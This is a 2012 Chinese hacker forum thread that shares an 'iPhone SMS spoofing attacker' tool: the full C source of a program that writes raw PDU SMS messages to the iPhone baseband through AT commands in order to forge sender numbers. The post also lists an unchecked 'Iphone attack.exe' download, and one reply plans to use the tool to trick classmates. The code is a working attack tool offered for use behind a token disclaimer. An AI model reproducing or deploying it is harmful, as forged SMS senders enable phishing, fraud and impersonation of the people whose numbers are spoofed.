查看: 107041|回复: 132

[工具专区] iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件...

  [复制链接]
  • TA的每日心情
    开心
    2019-9-21 13:55
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2012-8-29 09:00:05 | 显示全部楼层 |阅读模式

    iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、iphone 伪装发件人攻击器

    投稿来自:Tobe. <37783941@qq.com>,2012年08月28日(星期二) 下午 04:42。

    警告:禁止利用文中提到的内容、原理、工具至非法用途,否则后果自负。

    关于本漏洞详细内容请参考:iPhone 短信欺骗漏洞披露,伪造短信号码、自定义短信手机号

    main.c:

    /*

    sendrawpdu (c) 2012 pod2g

    Command line tool, usage: sendrawpdu <PDU data in hex>

    - Code based on iphone-elite's sendmodem ( http://code.google.com/p/iphone-elite/wiki/sendmodem )
    - Just few modifications for SMS sending and iPhone 4 compatibility.

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <termios.h>
    #include <errno.h>
    #include <time.h>
    #include <sys/ioctl.h>

    #define BUFSIZE (65536+100)
    unsigned char readbuf[BUFSIZE];

    static struct termios term;
    static struct termios gOriginalTTYAttrs;

    void sendCmd(int fd, void *buf, size_t size);
    void sendStrCmd(int fd, char *buf);
    int readResp(int fd);
    int initConn(int speed);
    void closeConn(int fd);
    void sendAt(int fd);
    void at(int fd);

    void sendCmd(int fd, void *buf, size_t size) {
        if(write(fd, buf, size) == -1) {
            fprintf(stderr, "sendCmd error. %s\n", strerror(errno));
            exit(1);
        }
    }

    void sendStrCmd(int fd, char *buf) {
        sendCmd(fd, buf, strlen(buf));
    }

    int readResp(int fd) {
        int len = 0;
        struct timeval timeout;
        int nfds = fd + 1;
        fd_set readfds;
        int select_ret;
       
        FD_ZERO(&readfds);
        FD_SET(fd, &readfds);
       
        // Wait a second
        timeout.tv_sec = 1;
        timeout.tv_usec = 500000;
       
        while ((select_ret = select(nfds, &readfds, NULL, NULL, &timeout)) > 0) {
            len += read(fd, readbuf + len, BUFSIZE - len);
            FD_ZERO(&readfds);
            FD_SET(fd, &readfds);
            timeout.tv_sec = 0;
            timeout.tv_usec = 500000;
        }
        if (len > 0) {
        }
        readbuf[len] = 0;
        fprintf(stderr,"%s",readbuf);
        return len;
    }

    int initConn(int speed) {
        int fd = open("/dev/dlci.spi-baseband.extra_0", O_RDWR | O_NOCTTY);
       
        if(fd == -1) {
            fprintf(stderr, "%i(%s)\n", errno, strerror(errno));
            exit(1);
        }
       
        ioctl(fd, TIOCEXCL);
        fcntl(fd, F_SETFL, 0);
       
        tcgetattr(fd, &term);
        gOriginalTTYAttrs = term;
       
        cfmakeraw(&term);
        cfsetspeed(&term, speed);
        term.c_cflag = CS8 | CLOCAL | CREAD;
        term.c_iflag = 0;
        term.c_oflag = 0;
        term.c_lflag = 0;
        term.c_cc[VMIN] = 0;
        term.c_cc[VTIME] = 0;
        tcsetattr(fd, TCSANOW, &term);
       
        return fd;
    }

    void closeConn(int fd) {
        tcdrain(fd);
        tcsetattr(fd, TCSANOW, &gOriginalTTYAttrs);
        close(fd);
    }

    void sendAt(int fd) {
        char cmd[5];
        sprintf(cmd,"AT\r");
        sendCmd(fd, cmd, strlen(cmd));
    }

    void at(int fd) {
        sendAt(fd);
        for (;;) {
            if(readResp(fd) != 0) {
                if(strstr((const char *)readbuf,"OK") != NULL) {
                    break;
                }
            }
            sendAt(fd);
        }
    }

    int main(int argc, char **argv) {
        int fd;
        char cmd[1024];
        if(argc < 2) {
            fprintf(stderr,"usage: %s <pdu data>\n",argv[0]);
            exit(1);
        }
        fd = initConn(115200);
        at(fd);
        sendStrCmd(fd, "AT+CMGF=0\r");
        readResp(fd);
        sprintf(cmd, "AT+CMGS=%ld\r", strlen(argv[1])/2 - 1);
        sendStrCmd(fd, cmd);
        readResp(fd);
        sprintf(cmd,"%s\032",argv[1]);
        sendStrCmd(fd, cmd);
        readResp(fd);
        closeConn(fd);
        return 0;
    }
    附件下载:


    游客,如果您要查看本帖隐藏内容请回复


    (是否有毒及真实性自测,时间仓促,本人没来得及检查……)

    iPhone 短信欺骗漏洞攻击器、伪造短信号码工具 的目录

    2012/08/28  17:05    <DIR>          .
    2012/08/28  17:05    <DIR>          ..
    2012/08/28  16:37           393,728 Iphone attack.exe
    2012/08/28  16:39             3,292 main.c
    2012/08/28  16:39           221,412 附图.png
                   3 个文件        618,432 字节
                   2 个目录 13,856,100,352 可用字节
    回复

    使用道具 举报

    该用户从未签到

    发表于 2012-8-29 10:25:45 | 显示全部楼层
    看看这工具
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-29 10:59:49 | 显示全部楼层
    Good!感谢分享!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-29 12:47:18 | 显示全部楼层
    不错!!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-29 21:47:10 | 显示全部楼层
    值得回复
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-29 22:37:50 | 显示全部楼层
    拿去社工同学喽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-30 02:01:15 | 显示全部楼层
    顶顶!!!!!!!!!!!!1
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-8-30 18:00:59 | 显示全部楼层
    值得一看啊

    楼主牛逼
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-9-3 15:28:11 | 显示全部楼层
    e    看看 大牛      
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2015-11-4 08:51
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2012-9-5 09:19:02 | 显示全部楼层
    不行是什么看看!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-4-28 19:26 , Processed in 0.055387 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部